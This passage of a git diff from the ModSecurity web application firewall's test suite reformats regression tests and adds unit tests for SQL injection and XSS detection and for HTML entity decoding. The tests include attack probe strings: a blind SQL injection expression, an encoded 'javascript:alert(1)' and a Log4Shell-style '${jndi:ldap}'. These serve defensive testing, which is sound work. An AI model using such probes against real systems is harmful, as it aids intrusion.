"Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "Target value: \"1\" \\(Variable: REQUEST_HEADERS:Accept\\)", - "error_log": "" + "http_code": 200 }, "rules": [ "SecRuleEngine On", @@ -128,8 +132,8 @@ }, "request": { "headers": { - "User-Agent": "Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-us,en;q=0.5", "Accept-Encoding": "gzip,deflate", "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", @@ -137,33 +141,35 @@ "Connection": "keep-alive", "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", "Pragma": "no-cache", - "Cache-Control": "no-cache" + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri": "\/test.pl?param1= test ¶m2=test2", + "uri": "/test.pl?param1= test ¶m2=test2", "method": "GET", "http_version": 1.1, - "body": "" + "body": [ + "" + ] }, "response": { "headers": { - "Content-Type": "text\/xml; charset=utf-8\n\r", - "Content-Length": "length\n\r" + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, "expected": { - "audit_log": "", "debug_log": "Target value: \"0\" \\(Variable: REQUEST_HEADERS:missing\\)", - "error_log": "" + "http_code": 200 }, "rules": [ "SecRuleEngine On", diff --git a/test/test-cases/regression/variable-variation-exclusion.json b/test/test-cases/regression/variable-variation-exclusion.json index 91098b1a8f..32b72bae17 100644 --- a/test/test-cases/regression/variable-variation-exclusion.json +++ b/test/test-cases/regression/variable-variation-exclusion.json @@ -1,116 +1,116 @@ -[ - { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing variable variations :: exclusion (1/2)", - "client":{ - "ip":"200.249.12.31", - "port":2313 +[ + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing variable variations :: exclusion (1/2)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"", - "error_log":"", - "http_code":200 + "expected": { + "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS|!REQUEST_HEADERS:Accept|!REMOTE_HOST \"@contains html\" \"id:1,t:lowercase,t:none,block,deny,status:300\"" ] }, - { - "enabled":1, - "version_min":300000, - "version_max":0, - "title":"Testing variable variations :: exclusion (2/2)", - "client":{ - "ip":"200.249.12.31", - "port":2313 + { + "enabled": 1, + "version_min": 300000, + "version_max": 0, + "title": "Testing variable variations :: exclusion (2/2)", + "client": { + "ip": "200.249.12.31", + "port": 2313 }, - "server":{ - "ip":"200.249.12.31", - "port":80 + "server": { + "ip": "200.249.12.31", + "port": 80 }, - "request":{ - "headers":{ - "User-Agent":"Mozilla\/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko\/20091102 Firefox\/3.5.5 (.NET CLR 3.5.30729)", - "Accept":"text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8", - "Accept-Language":"en-us,en;q=0.5", - "Accept-Encoding":"gzip,deflate", - "Accept-Charset":"ISO-8859-1,utf-8;q=0.7,*;q=0.7", - "Keep-Alive":"300", - "Connection":"keep-alive", - "Cookie":"PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", - "Pragma":"no-cache", - "Cache-Control":"no-cache" + "request": { + "headers": { + "User-Agent": "Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.5) Gecko/20091102 Firefox/3.5.5 (.NET CLR 3.5.30729)", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", + "Accept-Language": "en-us,en;q=0.5", + "Accept-Encoding": "gzip,deflate", + "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7", + "Keep-Alive": "300", + "Connection": "keep-alive", + "Cookie": "PHPSESSID=rAAAAAAA2t5uvjq435r4q7ib3vtdjq120", + "Pragma": "no-cache", + "Cache-Control": "no-cache", + "Content-Length": "0" }, - "uri":"\/test.pl?param1= test ¶m2=test2", - "method":"GET", - "http_version":1.1, - "body":"" + "uri": "/test.pl?param1= test ¶m2=test2", + "method": "GET", + "http_version": 1.1, + "body": [ + "" + ] }, - "response":{ - "headers":{ - "Content-Type":"text\/xml; charset=utf-8\n\r", - "Content-Length":"length\n\r" + "response": { + "headers": { + "Content-Type": "text/xml; charset=utf-8\n\r", + "Content-Length": "384" }, - "body":[ + "body": [ "\n\r", - "\n\r", + "\n\r", " \n\r", - " \n\r", - " string<\/EnlightenResult>\n\r", - " <\/EnlightenResponse>\n\r", - " <\/soap:Body>\n\r", - "<\/soap:Envelope>\n\r" + " \n\r", + " string\n\r", + " \n\r", + " \n\r", + "\n\r" ] }, - "expected":{ - "audit_log":"", - "debug_log":"", - "error_log":"", + "expected": { "http_code": 200 }, - "rules":[ + "rules": [ "SecRuleEngine On", "SecRule REQUEST_HEADERS|!REQUEST_HEADERS \"@contains html\" \"id:1,t:lowercase,t:none,block,deny,status:300\"" ] diff --git a/test/test-cases/secrules-language-tests b/test/test-cases/secrules-language-tests index a3d4405e5a..f73c73027e 160000 --- a/test/test-cases/secrules-language-tests +++ b/test/test-cases/secrules-language-tests @@ -1 +1 @@ -Subproject commit a3d4405e5a2c90488c387e589c5534974575e35b +Subproject commit f73c73027ef49ccf99c7911744929a71d15ff419 diff --git a/test/test-cases/unit/operator-libinjection-error.json b/test/test-cases/unit/operator-libinjection-error.json new file mode 100644 index 0000000000..ef440cd4c6 --- /dev/null +++ b/test/test-cases/unit/operator-libinjection-error.json @@ -0,0 +1,40 @@ +[ + { + "type": "op", + "name": "detectXSS", + "param": "", + "input": "", + "ret": 1, + "capture": 1, + "libinjection_override": "error", + "output": "" + }, + { + "type": "op", + "name": "detectSQLi", + "param": "", + "input": "''''''", + "ret": 1, + "capture": 1, + "libinjection_override": "error", + "output": "''''''" + }, + { + "type": "op", + "name": "detectXSS", + "param": "", + "input": "", + "ret": 1, + "capture": 1, + "output": "" + }, + { + "type": "op", + "name": "detectSQLi", + "param": "", + "input": "ascii(substring(version() from 1 for 1))", + "ret": 1, + "capture": 1, + "output": "f(f(f" + } +] diff --git a/test/test-cases/unit/transformation-hash-base64.json b/test/test-cases/unit/transformation-hash-base64.json new file mode 100644 index 0000000000..6082fd5ca0 --- /dev/null +++ b/test/test-cases/unit/transformation-hash-base64.json @@ -0,0 +1,37 @@ +[ + { + "type": "tfn", + "name": "sha1", + "input": "abc", + "ret": 1, + "output": "\\xa9\\x99\\x3e\\x36\\x47\\x06\\x81\\x6a\\xba\\x3e\\x25\\x71\\x78\\x50\\xc2\\x6c\\x9c\\xd0\\xd8\\x9d" + }, + { + "type": "tfn", + "name": "md5", + "input": "abc", + "ret": 1, + "output": "\\x90\\x01\\x50\\x98\\x3c\\xd2\\x4f\\xb0\\xd6\\x96\\x3f\\x7d\\x28\\xe1\\x7f\\x72" + }, + { + "type": "tfn", + "name": "base64Encode", + "input": "hello", + "ret": 1, + "output": "aGVsbG8=" + }, + { + "type": "tfn", + "name": "base64Decode", + "input": "aGVsbG8=", + "ret": 1, + "output": "hello" + }, + { + "type": "tfn", + "name": "base64Decode", + "input": "!!!!", + "ret": 1, + "output": "!!!!" + } +] diff --git a/test/test-cases/unit/transformation-html-entity-decode.json b/test/test-cases/unit/transformation-html-entity-decode.json new file mode 100644 index 0000000000..e2c8d336aa --- /dev/null +++ b/test/test-cases/unit/transformation-html-entity-decode.json @@ -0,0 +1,100 @@ +[ + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "javascript:alert(1)", + "ret": 1, + "output": "javascript:alert(1)" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "it's", + "ret": 1, + "output": "it's" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "#$%()*+,./;=?@!", + "ret": 1, + "output": "#$%()*+,./;=?@!" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "[\]_`{|}^", + "ret": 1, + "output": "[\\]_`{|}^" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "{}[]||*_`", + "ret": 1, + "output": "{}[]||*_`" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": " ­ ", + "ret": 1, + "output": "\n\t\\xad\\xa0" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "${jndi:ldap}", + "ret": 1, + "output": "${jndi:ldap}" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "⁁‐˜", + "ret": 0, + "output": "⁁‐˜" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "<est;&ed;>foo;", + "ret": 0, + "output": "<est;&ed;>foo;" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "&COLON;&Apos;", + "ret": 1, + "output": ":'" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "<est;", + "ret": 1, + "output": "<est;" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "&ed;", + "ret": 1, + "output": "&ed;" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": ">foo;", + "ret": 1, + "output": ">foo;" + }, + { + "type": "tfn", + "name": "htmlEntityDecode", + "input": "&unknown;", + "ret": 1, + "output": "&unknown;" + } +] diff --git a/test/test-suite.in b/test/test-suite.in new file mode 100644 index 0000000000..da1c44df1d --- /dev/null +++ b/test/test-suite.in @@ -0,0 +1,264 @@ +# for i in `find test/test-cases -iname *.json`; do echo TESTS+=$i; done +TESTS+=test/test-cases/regression/action-allow.json +TESTS+=test/test-cases/regression/action-block.json +TESTS+=test/test-cases/regression/action-ctl_request_body_access.json +TESTS+=test/test-cases/regression/action-ctl_request_body_processor.json +TESTS+=test/test-cases/regression/action-ctl_request_body_processor_urlencoded.json +TESTS+=test/test-cases/regression/action-ctl_rule_engine.json +TESTS+=test/test-cases/regression/action-ctl_audit_engine.json +TESTS+=test/test-cases/regression/action-ctl_rule_remove_by_id.json +TESTS+=test/test-cases/regression/action-ctl_rule_remove_by_tag.json +TESTS+=test/test-cases/regression/action-ctl_rule_remove_target_by_id.json +TESTS+=test/test-cases/regression/action-ctl_rule_remove_target_by_tag.json +TESTS+=test/test-cases/regression/action-disruptive.json +TESTS+=test/test-cases/regression/action-exec.json +TESTS+=test/test-cases/regression/action-expirevar.json +TESTS+=test/test-cases/regression/action-id.json +TESTS+=test/test-cases/regression/action-initcol.json +TESTS+=test/test-cases/regression/action-msg.json +TESTS+=test/test-cases/regression/action-setenv.json +TESTS+=test/test-cases/regression/action-setrsc.json +TESTS+=test/test-cases/regression/action-setsid.json +TESTS+=test/test-cases/regression/action-setuid.json +TESTS+=test/test-cases/regression/actions.json +TESTS+=test/test-cases/regression/action-skip.json +TESTS+=test/test-cases/regression/action-tag.json +TESTS+=test/test-cases/regression/action-tnf-base64.json +TESTS+=test/test-cases/regression/action-xmlns.json +TESTS+=test/test-cases/regression/auditlog.json +TESTS+=test/test-cases/regression/collection-case-insensitive.json +TESTS+=test/test-cases/regression/collection-lua.json +TESTS+=test/test-cases/regression/collection-regular_expression_selection.json +TESTS+=test/test-cases/regression/collection-resource.json +TESTS+=test/test-cases/regression/collection-tx.json +TESTS+=test/test-cases/regression/collection-tx-with-macro.json +TESTS+=test/test-cases/regression/config-body_limits.json +TESTS+=test/test-cases/regression/config-calling_phases_by_name.json +TESTS+=test/test-cases/regression/config-include-bad.json +TESTS+=test/test-cases/regression/config-include.json +TESTS+=test/test-cases/regression/config-remove_by_id.json +TESTS+=test/test-cases/regression/config-remove_by_msg.json +TESTS+=test/test-cases/regression/config-remove_by_tag.json +TESTS+=test/test-cases/regression/config-response_type.json +TESTS+=test/test-cases/regression/config-secdefaultaction.json +TESTS+=test/test-cases/regression/config-secremoterules.json +TESTS+=test/test-cases/regression/config-update-action-by-id.json +TESTS+=test/test-cases/regression/config-update-target-by-id.json +TESTS+=test/test-cases/regression/config-update-target-by-msg.json +TESTS+=test/test-cases/regression/config-update-target-by-tag.json +TESTS+=test/test-cases/regression/config-xml_external_entity.json +TESTS+=test/test-cases/regression/debug_log.json +TESTS+=test/test-cases/regression/directive-sec_rule_script.json +TESTS+=test/test-cases/regression/fn-setHostname.json +TESTS+=test/test-cases/regression/issue-1152.json +TESTS+=test/test-cases/regression/issue-1528.json +TESTS+=test/test-cases/regression/issue-1565.json +TESTS+=test/test-cases/regression/issue-1576.json +TESTS+=test/test-cases/regression/issue-1591.json +TESTS+=test/test-cases/regression/issue-1725.json +TESTS+=test/test-cases/regression/issue-1743.json +TESTS+=test/test-cases/regression/issue-1785.json +TESTS+=test/test-cases/regression/issue-1812.json +TESTS+=test/test-cases/regression/issue-1825.json +TESTS+=test/test-cases/regression/issue-1831.json +TESTS+=test/test-cases/regression/issue-1844.json +TESTS+=test/test-cases/regression/issue-1850.json +TESTS+=test/test-cases/regression/issue-1941.json +TESTS+=test/test-cases/regression/issue-1943.json +TESTS+=test/test-cases/regression/issue-1956.json +TESTS+=test/test-cases/regression/issue-1960.json +TESTS+=test/test-cases/regression/issue-2099.json +TESTS+=test/test-cases/regression/issue-2000.json +TESTS+=test/test-cases/regression/issue-2111.json +TESTS+=test/test-cases/regression/issue-2196.json +TESTS+=test/test-cases/regression/issue-2423-msg-in-chain.json +TESTS+=test/test-cases/regression/issue-2427.json +TESTS+=test/test-cases/regression/issue-2296.json +TESTS+=test/test-cases/regression/issue-3340.json +TESTS+=test/test-cases/regression/issue-394.json +TESTS+=test/test-cases/regression/issue-849.json +TESTS+=test/test-cases/regression/issue-960.json +TESTS+=test/test-cases/regression/misc.json +TESTS+=test/test-cases/regression/misc-escaped-quote-after-macro-expansion.json +TESTS+=test/test-cases/regression/misc-variable-under-quotes.json +TESTS+=test/test-cases/regression/offset-variable.json +TESTS+=test/test-cases/regression/operator-detectsqli.json +TESTS+=test/test-cases/regression/operator-detectxss.json +TESTS+=test/test-cases/regression/operator-fuzzyhash.json +TESTS+=test/test-cases/regression/operator-inpectFile.json +TESTS+=test/test-cases/regression/operator-ipMatchFromFile.json +TESTS+=test/test-cases/regression/operator-pm.json +TESTS+=test/test-cases/regression/operator-pmfromfile.json +TESTS+=test/test-cases/regression/operator-rx.json +TESTS+=test/test-cases/regression/operator-rxGlobal.json +TESTS+=test/test-cases/regression/operator-UnconditionalMatch.json +TESTS+=test/test-cases/regression/operator-validate-byte-range.json +TESTS+=test/test-cases/regression/operator-verifycc.json +TESTS+=test/test-cases/regression/operator-verifycpf.json +TESTS+=test/test-cases/regression/operator-verifyssn.json +TESTS+=test/test-cases/regression/operator-verifysvnr.json +TESTS+=test/test-cases/regression/request-body-parser-json.json +TESTS+=test/test-cases/regression/request-body-parser-multipart-crlf.json +TESTS+=test/test-cases/regression/request-body-parser-multipart.json +TESTS+=test/test-cases/regression/request-body-parser-xml.json +TESTS+=test/test-cases/regression/request-body-parser-xml-validade-dtd.json +TESTS+=test/test-cases/regression/rule-920120.json +TESTS+=test/test-cases/regression/rule-920200.json +TESTS+=test/test-cases/regression/rule-920274.json +TESTS+=test/test-cases/regression/secaction.json +TESTS+=test/test-cases/regression/secargumentslimit.json +TESTS+=test/test-cases/regression/sec_component_signature.json +TESTS+=test/test-cases/regression/secmarker.json +TESTS+=test/test-cases/regression/secruleengine.json +TESTS+=test/test-cases/regression/transformation-none.json +TESTS+=test/test-cases/regression/transformations.json +TESTS+=test/test-cases/regression/variable-ARGS_COMBINED_SIZE.json +TESTS+=test/test-cases/regression/variable-ARGS_GET.json +TESTS+=test/test-cases/regression/variable-ARGS_GET_NAMES.json +TESTS+=test/test-cases/regression/variable-ARGS.json +TESTS+=test/test-cases/regression/variable-ARGS_NAMES.json +TESTS+=test/test-cases/regression/variable-ARGS_POST.json +TESTS+=test/test-cases/regression/variable-ARGS_POST_NAMES.json +TESTS+=test/test-cases/regression/variable-AUTH_TYPE.json +TESTS+=test/test-cases/regression/variable-DURATION.json +TESTS+=test/test-cases/regression/variable-ENV.json +TESTS+=test/test-cases/regression/variable-FILES_COMBINED_SIZE.json +TESTS+=test/test-cases/regression/variable-FILES.json +TESTS+=test/test-cases/regression/variable-FILES_NAMES.json +TESTS+=test/test-cases/regression/variable-FILES_SIZES.json +TESTS+=test/test-cases/regression/variable-FULL_REQUEST.json +TESTS+=test/test-cases/regression/variable-FULL_REQUEST_LENGTH.json +TESTS+=test/test-cases/regression/variable-GEO.json +TESTS+=test/test-cases/regression/variable-HIGHEST_SEVERITY.json +TESTS+=test/test-cases/regression/variable-INBOUND_DATA_ERROR.json +TESTS+=test/test-cases/regression/variable-MATCHED_VAR.json +TESTS+=test/test-cases/regression/variable-MATCHED_VAR_NAME.json +TESTS+=test/test-cases/regression/variable-MATCHED_VARS.json +TESTS+=test/test-cases/regression/variable-MATCHED_VARS_NAMES.json +TESTS+=test/test-cases/regression/variable-MODSEC_BUILD.json +TESTS+=test/test-cases/regression/variable-MULTIPART_CRLF_LF_LINES.json +TESTS+=test/test-cases/regression/variable-MULTIPART_FILENAME.json +TESTS+=test/test-cases/regression/variable-MULTIPART_FILENAME_CHARSET.json +TESTS+=test/test-cases/regression/variable-MULTIPART_INVALID_HEADER_FOLDING.json +TESTS+=test/test-cases/regression/variable-MULTIPART_NAME.json +TESTS+=test/test-cases/regression/variable-MULTIPART_PART_HEADERS.json +TESTS+=test/test-cases/regression/variable-MULTIPART_STRICT_ERROR.json +TESTS+=test/test-cases/regression/variable-MULTIPART_UNMATCHED_BOUNDARY.json +TESTS+=test/test-cases/regression/variable-OUTBOUND_DATA_ERROR.json +TESTS+=test/test-cases/regression/variable-PATH_INFO.json +TESTS+=test/test-cases/regression/variable-QUERY_STRING.json +TESTS+=test/test-cases/regression/variable-REMOTE_ADDR.json +TESTS+=test/test-cases/regression/variable-REMOTE_HOST.json +TESTS+=test/test-cases/regression/variable-REMOTE_PORT.json +TESTS+=test/test-cases/regression/variable-REMOTE_USER.json +TESTS+=test/test-cases/regression/variable-REQBODY_PROCESSOR_ERROR.json +TESTS+=test/test-cases/regression/variable-REQBODY_PROCESSOR.json +TESTS+=test/test-cases/regression/variable-REQUEST_BASENAME.json +TESTS+=test/test-cases/regression/variable-REQUEST_BODY.json +TESTS+=test/test-cases/regression/variable-REQUEST_BODY_LENGTH.json +TESTS+=test/test-cases/regression/variable-REQUEST_COOKIES.json +TESTS+=test/test-cases/regression/variable-REQUEST_COOKIES_NAMES.json +TESTS+=test/test-cases/regression/variable-REQUEST_FILENAME.json +TESTS+=test/test-cases/regression/variable-REQUEST_HEADERS.json +TESTS+=test/test-cases/regression/variable-REQUEST_HEADERS_NAMES.json +TESTS+=test/test-cases/regression/variable-REQUEST_LINE.json +TESTS+=test/test-cases/regression/variable-REQUEST_METHOD.json +TESTS+=test/test-cases/regression/variable-REQUEST_PROTOCOL.json +TESTS+=test/test-cases/regression/variable-REQUEST_URI.json +TESTS+=test/test-cases/regression/variable-REQUEST_URI_RAW.json +TESTS+=test/test-cases/regression/variable-RESPONSE_BODY.json +TESTS+=test/test-cases/regression/variable-RESPONSE_CONTENT_LENGTH.json +TESTS+=test/test-cases/regression/variable-RESPONSE_CONTENT_TYPE.json +TESTS+=test/test-cases/regression/variable-RESPONSE_HEADERS.json +TESTS+=test/test-cases/regression/variable-RESPONSE_HEADERS_NAMES.json +TESTS+=test/test-cases/regression/variable-RESPONSE_PROTOCOL.json +TESTS+=test/test-cases/regression/variable-RULE.json +TESTS+=test/test-cases/regression/variable-SERVER_ADDR.json +TESTS+=test/test-cases/regression/variable-SERVER_NAME.json +TESTS+=test/test-cases/regression/variable-SERVER_PORT.json +TESTS+=test/test-cases/regression/variable-SESSIONID.json +TESTS+=test/test-cases/regression/variable-STATUS.json +TESTS+=test/test-cases/regression/variable-TIME_DAY.json +TESTS+=test/test-cases/regression/variable-TIME_EPOCH.json +TESTS+=test/test-cases/regression/variable-TIME_HOUR.json +TESTS+=test/test-cases/regression/variable-TIME.json +TESTS+=test/test-cases/regression/variable-TIME_MIN.json +TESTS+=test/test-cases/regression/variable-TIME_MON.json +TESTS+=test/test-cases/regression/variable-TIME_SEC.json +TESTS+=test/test-cases/regression/variable-TIME_WDAY.json +TESTS+=test/test-cases/regression/variable-TIME_YEAR.json +TESTS+=test/test-cases/regression/variable-TX.json +TESTS+=test/test-cases/regression/variable-UNIQUE_ID.json +TESTS+=test/test-cases/regression/variable-URLENCODED_ERROR.json +TESTS+=test/test-cases/regression/variable-USERID.json +TESTS+=test/test-cases/regression/variable-variation-count.json +TESTS+=test/test-cases/regression/variable-variation-exclusion.json +TESTS+=test/test-cases/regression/variable-WEBAPPID.json +TESTS+=test/test-cases/regression/variable-WEBSERVER_ERROR_LOG.json +TESTS+=test/test-cases/regression/variable-XML.json +TESTS+=test/test-cases/secrules-language-tests/operators/beginsWith.json +TESTS+=test/test-cases/secrules-language-tests/operators/contains.json +TESTS+=test/test-cases/secrules-language-tests/operators/containsWord.json +TESTS+=test/test-cases/secrules-language-tests/operators/detectSQLi.json +TESTS+=test/test-cases/secrules-language-tests/operators/detectXSS.json +TESTS+=test/test-cases/unit/operator-libinjection-error.json +TESTS+=test/test-cases/unit/transformation-hash-base64.json +TESTS+=test/test-cases/unit/transformation-html-entity-decode.json +TESTS+=test/test-cases/secrules-language-tests/operators/endsWith.json +TESTS+=test/test-cases/secrules-language-tests/operators/eq.json +TESTS+=test/test-cases/secrules-language-tests/operators/ge.json +TESTS+=test/test-cases/secrules-language-tests/operators/geoLookup.json +TESTS+=test/test-cases/secrules-language-tests/operators/gt.json +TESTS+=test/test-cases/secrules-language-tests/operators/ipMatch.json +TESTS+=test/test-cases/secrules-language-tests/operators/le.json +TESTS+=test/test-cases/secrules-language-tests/operators/lt.json +TESTS+=test/test-cases/secrules-language-tests/operators/noMatch.json +TESTS+=test/test-cases/secrules-language-tests/operators/pmFromFile.json +TESTS+=test/test-cases/secrules-language-tests/operators/pm.json +TESTS+=test/test-cases/secrules-language-tests/operators/rx.json +TESTS+=test/test-cases/secrules-language-tests/operators/rxGlobal.json +TESTS+=test/test-cases/secrules-language-tests/operators/streq.json +TESTS+=test/test-cases/secrules-language-tests/operators/strmatch.json +TESTS+=test/test-cases/secrules-language-tests/operators/unconditionalMatch.json +TESTS+=test/test-cases/secrules-language-tests/operators/validateByteRange.json +TESTS+=test/test-cases/secrules-language-tests/operators/validateUrlEncoding.json +TESTS+=test/test-cases/secrules-language-tests/operators/validateUtf8Encoding.json +TESTS+=test/test-cases/secrules-language-tests/operators/verifyCC.json +TESTS+=test/test-cases/secrules-language-tests/operators/verifycpf.json +TESTS+=test/test-cases/secrules-language-tests/operators/verifyssn.json +TESTS+=test/test-cases/secrules-language-tests/operators/verifysvnr.json +TESTS+=test/test-cases/secrules-language-tests/operators/within.json +TESTS+=test/test-cases/secrules-language-tests/transformations/base64DecodeExt.json +TESTS+=test/test-cases/secrules-language-tests/transformations/base64Decode.json +TESTS+=test/test-cases/secrules-language-tests/transformations/base64Encode.json +TESTS+=test/test-cases/secrules-language-tests/transformations/cmdLine.json +TESTS+=test/test-cases/secrules-language-tests/transformations/compressWhitespace.json +TESTS+=test/test-cases/secrules-language-tests/transformations/cssDecode.json +TESTS+=test/test-cases/secrules-language-tests/transformations/escapeSeqDecode.json +TESTS+=test/test-cases/secrules-language-tests/transformations/hexDecode.json +TESTS+=test/test-cases/secrules-language-tests/transformations/hexEncode.json +TESTS+=test/test-cases/secrules-language-tests/transformations/htmlEntityDecode.json +TESTS+=test/test-cases/secrules-language-tests/transformations/jsDecode.json +TESTS+=test/test-cases/secrules-language-tests/transformations/length.json +TESTS+=test/test-cases/secrules-language-tests/transformations/lowercase.json +TESTS+=test/test-cases/secrules-language-tests/transformations/md5.json +TESTS+=test/test-cases/secrules-language-tests/transformations/normalisePath.json +TESTS+=test/test-cases/secrules-language-tests/transformations/normalisePathWin.json +TESTS+=test/test-cases/secrules-language-tests/transformations/parityEven7bit.json +TESTS+=test/test-cases/secrules-language-tests/transformations/parityOdd7bit.json +TESTS+=test/test-cases/secrules-language-tests/transformations/parityZero7bit.json +TESTS+=test/test-cases/secrules-language-tests/transformations/removeCommentsChar.json +TESTS+=test/test-cases/secrules-language-tests/transformations/removeComments.json +TESTS+=test/test-cases/secrules-language-tests/transformations/removeNulls.json +TESTS+=test/test-cases/secrules-language-tests/transformations/removeWhitespace.json +TESTS+=test/test-cases/secrules-language-tests/transformations/replaceComments.json +TESTS+=test/test-cases/secrules-language-tests/transformations/replaceNulls.json +TESTS+=test/test-cases/secrules-language-tests/transformations/sha1.json +TESTS+=test/test-cases/secrules-language-tests/transformations/sqlHexDecode.json +TESTS+=test/test-cases/secrules-language-tests/transformations/trim.json +TESTS+=test/test-cases/secrules-language-tests/transformations/trimLeft.json +TESTS+=test/test-cases/secrules-language-tests/transformations/trimRight.json +TESTS+=test/test-cases/secrules-language-tests/transformations/urlDecode.json +TESTS+=test/test-cases/secrules-language-tests/transformations/urlDecodeUni.json +TESTS+=test/test-cases/secrules-language-tests/transformations/urlEncode.json +TESTS+=test/test-cases/secrules-language-tests/transformations/utf8toUnicode.json diff --git a/test/test-suite.sh b/test/test-suite.sh index ce03c244e1..20262239d7 100755 --- a/test/test-suite.sh +++ b/test/test-suite.sh @@ -13,7 +13,7 @@ then AMOUNT=$(./regression_tests countall ../$FILE) RET=$? if [ $RET -ne 0 ]; then - echo ":test-result: SKIP: json is not enabled. (regression/$RET) ../$FILE:$i" + echo ":test-result: SKIP: json is not enabled. (regression/$RET) ../$FILE" exit 0 fi @@ -30,10 +30,10 @@ else RET=$? if [ $RET -eq 127 ] then - echo ":test-result: SKIP: json is not enabled. (unit/$RET) ../$FILE:$i" + echo ":test-result: SKIP: json is not enabled. (unit/$RET) ../$FILE" elif [ $RET -ne 0 ] then - echo ":test-result: FAIL possible segfault: (unit/$RET) ../$FILE:$i" + echo ":test-result: FAIL possible segfault: (unit/$RET) ../$FILE" fi fi diff --git a/test/unit/unit.cc b/test/unit/unit.cc index 49aeabd204..5dc515d82e 100644 --- a/test/unit/unit.cc +++ b/test/unit/unit.cc @@ -1,6 +1,6 @@ /* * ModSecurity, 